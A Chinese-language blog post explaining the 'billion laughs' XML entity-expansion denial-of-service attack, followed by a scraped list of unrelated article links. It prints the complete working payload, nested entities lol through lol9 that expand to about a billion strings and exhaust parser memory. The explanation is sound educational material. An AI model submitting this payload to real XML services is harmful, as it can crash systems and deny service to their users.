billion laughs attack
0x00 前记
a billion laughs attack 是一种 denial-of-service(DoS)攻击,它主要作用于XML文档解析器。它也被称为指数实体扩展攻击,是一种名副其实的XML炸弹。
0x01 实例
该攻击通过创建一系列递归的XML定义,在内存中产生上十亿的特定字符串,从而导致DoS攻击。原理为:构造恶意的XML实体文件以耗尽服务器可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,上亿的特定字符串占用内存达到GB级,使得解析器解析非常慢,并使得可用资源耗尽,从而造成拒绝服务攻击。
<?xml version="1.0"?>
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
如以上代码所示,在XMl中定义了一个实体lol9,它的值包含了十个实体lol8的值,而每个lol8又包含了十个lol7的值...最后产生10亿个“lol”字符串,占用内存约高达3GB。
0x03 参考资料
维基百科billion laughs(https://en.wikipedia.org/wiki/Billion_laughs_attack)
billion laughs attack相关推荐
- 全球首个开放应用模型 OAM 开源 | 云原生生态周报 Vol. 23
作者 | 临石.元毅.冬岛.衷源.天元 业界要闻 全球首个开放应用模型 OAM 开源 2019 年 10 月 17 日,阿里巴巴合伙人.阿里云智能基础产品事业部总经理蒋江伟(花名:小邪)在 Qcon ...
- java安全编码指南之:拒绝Denial of Service
文章目录 简介 为什么会有DOS 不合理的资源使用 请求用于矢量图的SVG文件和字体文件 字符串或二进制表示的图片转换 zip炸弹 billion laughs attack hashMap中插入太多 ...
- (39.2)【XXE漏洞专题】XXE原理、产生、检测、危害、利用、示例
目录 零.推荐: 一.简介: 二.原理: 三.产生的原因: 四.漏洞检测: 4.1.白盒: 4.1.1.函数/可控变量的查找 4.1.2.传输/存储数据格式类型 4.2.黑盒: 4.2.1.数据格式类 ...
- OWASP Top10 2020
OWASP Top 10 2020 什么是OWASP 漏洞简介 1. Top1-注入 2.失效身份验证和会话管理 3.敏感信息泄露 4.XML外部实体注入攻击(XXE) 5.失效访问控制 6.安全性错 ...
- Kali Linux Web 渗透测试秘籍 第六章 利用 -- 低悬的果实
第六章 利用 – 低悬的果实 作者:Gilberto Najera-Gutierrez 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 这章开始我们会开始涉及渗透测试的的利用层面.和漏洞评估的 ...
- owasp_OWASP数据工程师
owasp Wait.. what? Isn't OWASP something to do with web applications? That was my first reaction too ...
- Web下的拒绝服务漏洞(DoS)
声明 由于传播.利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,Vulkey_Chen(戴城)不为此承担任何责任. Vulkey_Chen(戴城)拥有对此文章的修改和解释 ...
- java SAX 防xml注入,如何防止XML注入像XML Bomb和XXE攻击
您是否尝试过 OWASP page的以下代码段? import javax.xml.parsers.DocumentBuilderFactory; import javax.xml.parsers.P ...
- 开发安全的 API 所需要核对的清单
开发安全的 API 所需要核对的清单 以下是当你在设计, 测试以及发布你的 API 的时候所需要核对的重要安全措施. 身份认证 不要使用 Basic Auth 使用标准的认证协议 (如 JWT, OA ...
最新文章
- 单例模式 -- Java
- 和AI机器人Alice的一段聊天记录
- 微软一顿操作猛如虎,PowerShell 排名直线上升
- disruptor3_发布Disruptor 3.0.0
- Java中Lambda表达式与方法引用和构造器引用
- 人性歪曲的心理调适 一【浮躁心理、偏激心理、自卑心理、自杀心理、愤怒心理】...
- Flask 蓝图(Blueprint)
- Linux驱动中delayed_workqueue使用:
- c#和python_C#学习笔记(与Java、C、C++和Python对比)
- 商场收银系统服务器安装在哪里,收银系统安装教程
- 商品管理系统——Java实现
- Litestar 4D:道路照明
- js:图片的切换(代码)
- 如何写SCI论文的摘要
- 网易云信 android,网易云信/NIM_Android_UIKit
- Cortex-M中特别实用的DWT计数器
- w ndows10装什么浏览器,Windows10系统默认启用IE浏览器方法
- 徐小明:探寻股市下跌的真正原因
- Springboot企业内部交流系统9r309计算机毕业设计-课程设计-期末作业-毕设程序代做
- STM32F103C8T6基于HAL库制作RTC时钟
热门文章
- 大学抢课python脚本_【python】自动选课脚本
- 轻舟已过万重山——云评测|2019年技术盘点微服务篇(一)
- 游戏开发完整学习路线之美
- 通达信交易软件接口的标记是什么?
- 免费的内网穿透工具-飞鸽穿透
- 腾讯服务器维护公告,腾讯内容开放平台
- 03 ,plt 设置 rcParams :中文,正负号,线宽,线色,线条样式,常规例子,所有参数
- 如何在Jupyter notebook上插入图片
- 倍福TwinCAT(贝福Beckhoff)常见问题(FAQ)-如何把FBD功能块转换成ST语言
- 小米android one电池,小米A1(小米5X)成为最佳Android One设备